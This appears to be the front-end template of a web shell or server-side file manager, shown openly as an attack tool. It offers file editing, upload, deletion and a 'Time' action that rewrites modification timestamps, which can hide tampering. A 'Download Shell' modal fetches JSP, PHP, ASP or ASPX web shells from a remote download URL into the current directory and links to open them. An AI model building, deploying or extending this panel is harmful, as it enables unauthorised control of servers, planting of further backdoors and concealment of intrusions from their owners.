                    <button type="button" class="btn-sm" onclick="editFile('<%= escapeJs(fileName) %>')">Edit</button>
                <% } %>
                <button type="button" class="btn-sm" onclick="renameFile('<%= escapeJs(fileName) %>')">Rename</button>
                <button type="button" class="btn-sm" onclick="touchFile('<%= escapeJs(fileName) %>', '<%= escapeJs(times[1]) %>')">Time</button>
                <button type="button" class="btn-sm btn-danger" onclick="deleteFile('<%= escapeJs(fileName) %>')">Del</button>
            </td>
        </tr>
        <% } %>
        <% if (files.length == 0) { %>
        <tr><td colspan="4" style="text-align:center;padding:30px;color:#888;">Empty</td></tr>
        <% } %>
    </tbody>
    </table>
</div>

<form method="post" id="fileDelForm" action="<%= formActionUrl %>" style="display:none;">
    <input type="hidden" name="action" value="delete">
    <%= hiddenInputs %>
    <input type="hidden" name="file" id="fileDelInput" value="">
</form>

<div id="editModal" class="modal">
    <div class="modal-box">
        <div class="modal-head"><h3>Edit: <span id="editFileName"></span></h3><button type="button" onclick="closeEditModal()">X</button></div>
        <form method="post" action="<%= formActionUrl %>">
            <input type="hidden" name="action" value="save">
            <%= hiddenInputs %>
            <input type="hidden" name="file" id="editFileInput">
            <textarea name="content" id="editContent"></textarea>
            <div style="margin-top:10px;text-align:right;">
                <button type="submit" class="btn-ok">Save</button>
                <button type="button" onclick="closeEditModal()">Cancel</button>
            </div>
        </form>
    </div>
</div>

<div id="renameModal" class="modal">
    <div class="modal-box" style="max-width:400px;">
        <div class="modal-head"><h3>Rename: <span id="renameOldName"></span></h3><button type="button" onclick="closeRenameModal()">X</button></div>
        <form method="post" action="<%= formActionUrl %>">
            <input type="hidden" name="action" value="rename">
            <%= hiddenInputs %>
            <input type="hidden" name="file" id="renameFileInput">
            <label>New name</label>
            <input type="text" name="newname" id="renameNewInput" style="margin:8px 0;" required>
            <div style="text-align:right;">
                <button type="submit" class="btn-ok">Rename</button>
                <button type="button" onclick="closeRenameModal()">Cancel</button>
            </div>
        </form>
    </div>
</div>

<div id="createFileModal" class="modal">
    <div class="modal-box" style="max-width:520px;">
        <div class="modal-head"><h3>New File</h3><button type="button" onclick="closeCreateFileModal()">X</button></div>
        <form method="post" action="<%= formActionUrl %>">
            <input type="hidden" name="action" value="create_file">
            <%= hiddenInputs %>
            <label>Name</label>
            <input type="text" name="filename" style="margin:8px 0;" placeholder=".env" required>
            <label>Content (optional)</label>
            <textarea name="content" style="height:140px;margin:8px 0;"></textarea>
            <div style="text-align:right;">
                <button type="submit" class="btn-ok">Create</button>
                <button type="button" onclick="closeCreateFileModal()">Cancel</button>
            </div>
        </form>
    </div>
</div>

<div id="createDirModal" class="modal">
    <div class="modal-box" style="max-width:360px;">
        <div class="modal-head"><h3>New Folder</h3><button type="button" onclick="closeCreateDirModal()">X</button></div>
        <form method="post" action="<%= formActionUrl %>">
            <input type="hidden" name="action" value="create_dir">
            <%= hiddenInputs %>
            <label>Name</label>
            <input type="text" name="dirname" style="margin:8px 0;" required>
            <div style="text-align:right;">
                <button type="submit" class="btn-ok">Create</button>
                <button type="button" onclick="closeCreateDirModal()">Cancel</button>
            </div>
        </form>
    </div>
</div>

<div id="touchModal" class="modal">
    <div class="modal-box" style="max-width:360px;">
        <div class="modal-head"><h3>Time: <span id="touchFileName"></span></h3><button type="button" onclick="closeTouchModal()">X</button></div>
        <form method="post" action="<%= formActionUrl %>">
            <input type="hidden" name="action" value="set_time">
            <%= hiddenInputs %>
            <input type="hidden" name="file" id="touchFileInput">
            <label>Modified</label>
            <input type="datetime-local" name="mtime" id="touchMtimeInput" step="1" style="margin:8px 0;" required>
            <div style="text-align:right;">
                <button type="submit" class="btn-ok">Apply</button>
                <button type="button" onclick="closeTouchModal()">Cancel</button>
            </div>
        </form>
    </div>
</div>

<div id="shellModal" class="modal">
    <div class="modal-box" style="max-width:520px;">
        <div class="modal-head"><h3>Download Shell</h3><button type="button" onclick="closeShellModal()">X</button></div>
        <form method="post" id="shellPullForm" action="<%= formActionUrl %>">
            <input type="hidden" name="action" value="pull_shell">
            <%= hiddenInputs %>
            <input type="hidden" name="shell_type" id="shellTypeInput" value="<%= escapeHtml(shellLastType) %>">
            <label>Download base URL</label>
            <input type="text" name="dl_base" id="shellDlBase" value="<%= escapeHtml(shellDlBase) %>" style="margin:8px 0;" placeholder="http://host:8081/file/download/">
            <label>Type</label>
            <div class="shell-types">
                <button type="button" class="btn shell-type-btn btn-muted" data-type="jsp" onclick="selectShellType('jsp')">JSP</button>
                <button type="button" class="btn shell-type-btn btn-muted" data-type="php" onclick="selectShellType('php')">PHP</button>
                <button type="button" class="btn shell-type-btn btn-muted" data-type="asp" onclick="selectShellType('asp')">ASP</button>
                <button type="button" class="btn shell-type-btn btn-muted" data-type="aspx" onclick="selectShellType('aspx')">ASPX</button>
            </div>
            <label>Save as</label>
            <input type="text" name="save_name" id="shellSaveName" style="margin:8px 0;" placeholder="shell.jsp">
            <p class="hint" id="shellUrlHint">Example: <%= escapeHtml(joinDownloadUrl(shellDlBase, "shell.jsp")) %></p>
            <p class="hint" id="shellStatusHint">Select type, then Download. Open / DEL enabled after file exists.</p>
            <div class="shell-actions">
                <button type="submit" class="btn-ok">Download</button>
                <a href="#" id="btnOpenShell" class="btn btn-muted disabled" target="_blank" rel="noopener">Open Shell</a>
                <button type="button" id="btnDelShell" class="btn btn-danger disabled" onclick="delShell()">DEL Shell</button>
            </div>
            <div style="text-align:right;margin-top:10px;">
                <button type="button" onclick="closeShellModal()">Close</button>
            </div>
        </form>
        <form method="post" id="shellDelForm" action="<%= formActionUrl %>" style="display:none;">
            <input type="hidden" name="action" value="del_shell">
            <%= hiddenInputs %>
            <input type="hidden" name="file" id="shellDelFileInput" value="">
        </form>
    </div>
</div>

<div id="uploadModal" class="modal">
    <div class="modal-box" style="max-width:400px;">
        <div class="modal-head"><h3>Upload</h3><button type="button" onclick="closeUploadModal()">X</button></div>
        <form method="post" action="<%= formActionUrl %>" enctype="multipart/form-data">
            <input type="hidden" name="action" value="upload">
            <%= hiddenInputs %>
            <input type="file" name="uploadFile" style="margin:8px 0;" required>
            <div style="text-align:right;">
                <button type="submit" class="btn-ok">Upload</button>
                <button type="button" onclick="closeUploadModal()">Cancel</button>
            </div>
        </form>
    </div>
</div>

<script>
const PAGE_BASE = '<%= escapeJs(pageBase) %>';
const CURRENT_PATH = '<%= escapeJs(canonicalPath) %>';
const AUTH_QS = '<%= escapeJs(authQs) %>';
const HIDDEN_QS = '<%= escapeJs(hiddenQs) %>';

function editFile(fileName) {
    document.getElementById('editFileName').innerText = fileName;
    document.getElementById('editFileInput').value = fileName;
    document.getElementById('editModal').style.display = 'flex';
    document.getElementById('editContent').value = 'Loading...';
    fetch(PAGE_BASE + '?action=load&file=' + encodeURIComponent(fileName) + '&path=' + encodeURIComponent(CURRENT_PATH) + AUTH_QS)
        .then(function(response) { return response.text(); })
        .then(function(data) {
            document.getElementById('editContent').value = data;
        })
        .catch(function() {
            document.getElementById('editContent').value = 'Failed to load file.';
        });
}

function closeEditModal() {
    document.getElementById('editModal').style.display = 'none';
}

function deleteFile(fileName) {
    if (confirm('Delete ' + fileName + '?')) {
        document.getElementById('fileDelInput').value = fileName;
        document.getElementById('fileDelForm').submit();
    }
}

function renameFile(fileName) {
    document.getElementById('renameOldName').innerText = fileName;
    document.getElementById('renameFileInput').value = fileName;
    document.getElementById('renameNewInput').value = fileName;
    document.getElementById('renameModal').style.display = 'flex';
    var inp = document.getElementById('renameNewInput');
    inp.focus();
    inp.select();
}

function closeRenameModal() {
    document.getElementById('renameModal').style.display = 'none';
}

function toDatetimeLocalValue(ts) {
    if (!ts || ts === '-') return '';
    const m = ts.match(/^(\d{4})-(\d{2})-(\d{2}) (\d{2}):(\d{2}):(\d{2})$/);
    if (!m) return '';
    return m[1] + '-' + m[2] + '-' + m[3] + 'T' + m[4] + ':' + m[5] + ':' + m[6];
}

function touchFile(fileName, modified) {
    document.getElementById('touchFileName').innerText = fileName;
    document.getElementById('touchFileInput').value = fileName;
    document.getElementById('touchMtimeInput').value = toDatetimeLocalValue(modified);
    document.getElementById('touchModal').style.display = 'flex';
}

function closeTouchModal() {
    document.getElementById('touchModal').style.display = 'none';
}

function showCreateFile() {
    document.getElementById('createFileModal').style.display = 'flex';
}

function closeCreateFileModal() {
    document.getElementById('createFileModal').style.display = 'none';
}

function showCreateDir() {
    document.getElementById('createDirModal').style.display = 'flex';
}

function closeCreateDirModal() {
    document.getElementById('createDirModal').style.display = 'none';
}

const SHELL_NAMES = { jsp: 'shell.jsp', php: 'shell.php', asp: 'shell.asp', aspx: 'shell.aspx' };
const SHELL_DEFAULTS = ['shell.jsp', 'shell.php', 'shell.asp', 'shell.aspx'];
const EXISTING_SHELLS = <%= shellPresentJs.toString() %>.map(function(n) { return n.toLowerCase(); });

function showShellModal() {
    document.getElementById('shellModal').style.display = 'flex';
    var lastType = document.getElementById('shellTypeInput').value || 'jsp';
    var lastFile = '<%= escapeJs(shellLastFile) %>';
    if (lastFile) document.getElementById('shellSaveName').value = lastFile;
    selectShellType(lastType);
}

function closeShellModal() {
    document.getElementById('shellModal').style.display = 'none';
}

function currentShellName() {
    var type = document.getElementById('shellTypeInput').value || 'jsp';
    var save = document.getElementById('shellSaveName').value.trim();
    return save || SHELL_NAMES[type] || ('shell.' + type);
}

function shellExists(name) {
    return EXISTING_SHELLS.indexOf((name || '').toLowerCase()) >= 0;
}

function updateShellHint() {
    var base = document.getElementById('shellDlBase').value || '';
    if (base && base.charAt(base.length - 1) !== '/') base += '/';
    var type = document.getElementById('shellTypeInput').value || 'jsp';
    var remote = SHELL_NAMES[type] || ('shell.' + type);
    document.getElementById('shellUrlHint').textContent = 'Download: ' + base + remote + '  ->  ' + currentShellName();
}

function updateShellActions() {
    var name = currentShellName();
    var ready = shellExists(name);
    var openBtn = document.getElementById('btnOpenShell');
    var delBtn = document.getElementById('btnDelShell');
    var status = document.getElementById('shellStatusHint');
    if (ready) {
        openBtn.classList.remove('disabled');
        delBtn.classList.remove('disabled');
        openBtn.href = name + (name.indexOf('?') >= 0 ? '&' : '?') + 'path=' + encodeURIComponent(CURRENT_PATH);
        status.textContent = 'Ready: ' + name + ' in current directory';
    } else {
        openBtn.classList.add('disabled');
        delBtn.classList.add('disabled');
        openBtn.href = '#';
        status.textContent = 'Download first -- Open / DEL need ' + name + ' in current dir';
    }
    updateShellHint();
}

function selectShellType(type) {
    document.getElementById('shellTypeInput').value = type;
    var saveEl = document.getElementById('shellSaveName');
    var cur = saveEl.value.trim();
    if (!cur || SHELL_DEFAULTS.indexOf(cur) >= 0) {
        saveEl.value = SHELL_NAMES[type] || ('shell.' + type);
    }
    var buttons = document.querySelectorAll('.shell-type-btn');
    for (var i = 0; i < buttons.length; i++) {
        var btn = buttons[i];
        if (btn.getAttribute('data-type') === type) {
            btn.className = 'btn shell-type-btn btn-ok';
        } else {
            btn.className = 'btn shell-type-btn btn-muted';
        }
    }
    updateShellActions();
}

function delShell() {
    var name = currentShellName();
    if (!shellExists(name)) return;
    if (!confirm('Delete shell file ' + name + '?')) return;
    document.getElementById('shellDelFileInput').value = name;
    document.getElementById('shellDelForm').submit();
}

document.getElementById('shellDlBase').addEventListener('input', updateShellHint);
document.getElementById('shellSaveName').addEventListener('input', updateShellActions);

function showUpload() {
    document.getElementById('uploadModal').style.display = 'flex';
}

function closeUploadModal() {
    document.getElementById('uploadModal').style.display = 'none';
}

document.getElementById('pathInput').addEventListener('keydown', function(e) {
    if (e.key === 'Enter') {
        e.preventDefault();
        document.getElementById('navForm').submit();
    }
});

window.onclick = function(event) {
    if (event.target.classList.contains('modal')) {
        event.target.style.display = 'none';
    }
};
</script>
</body>
</html>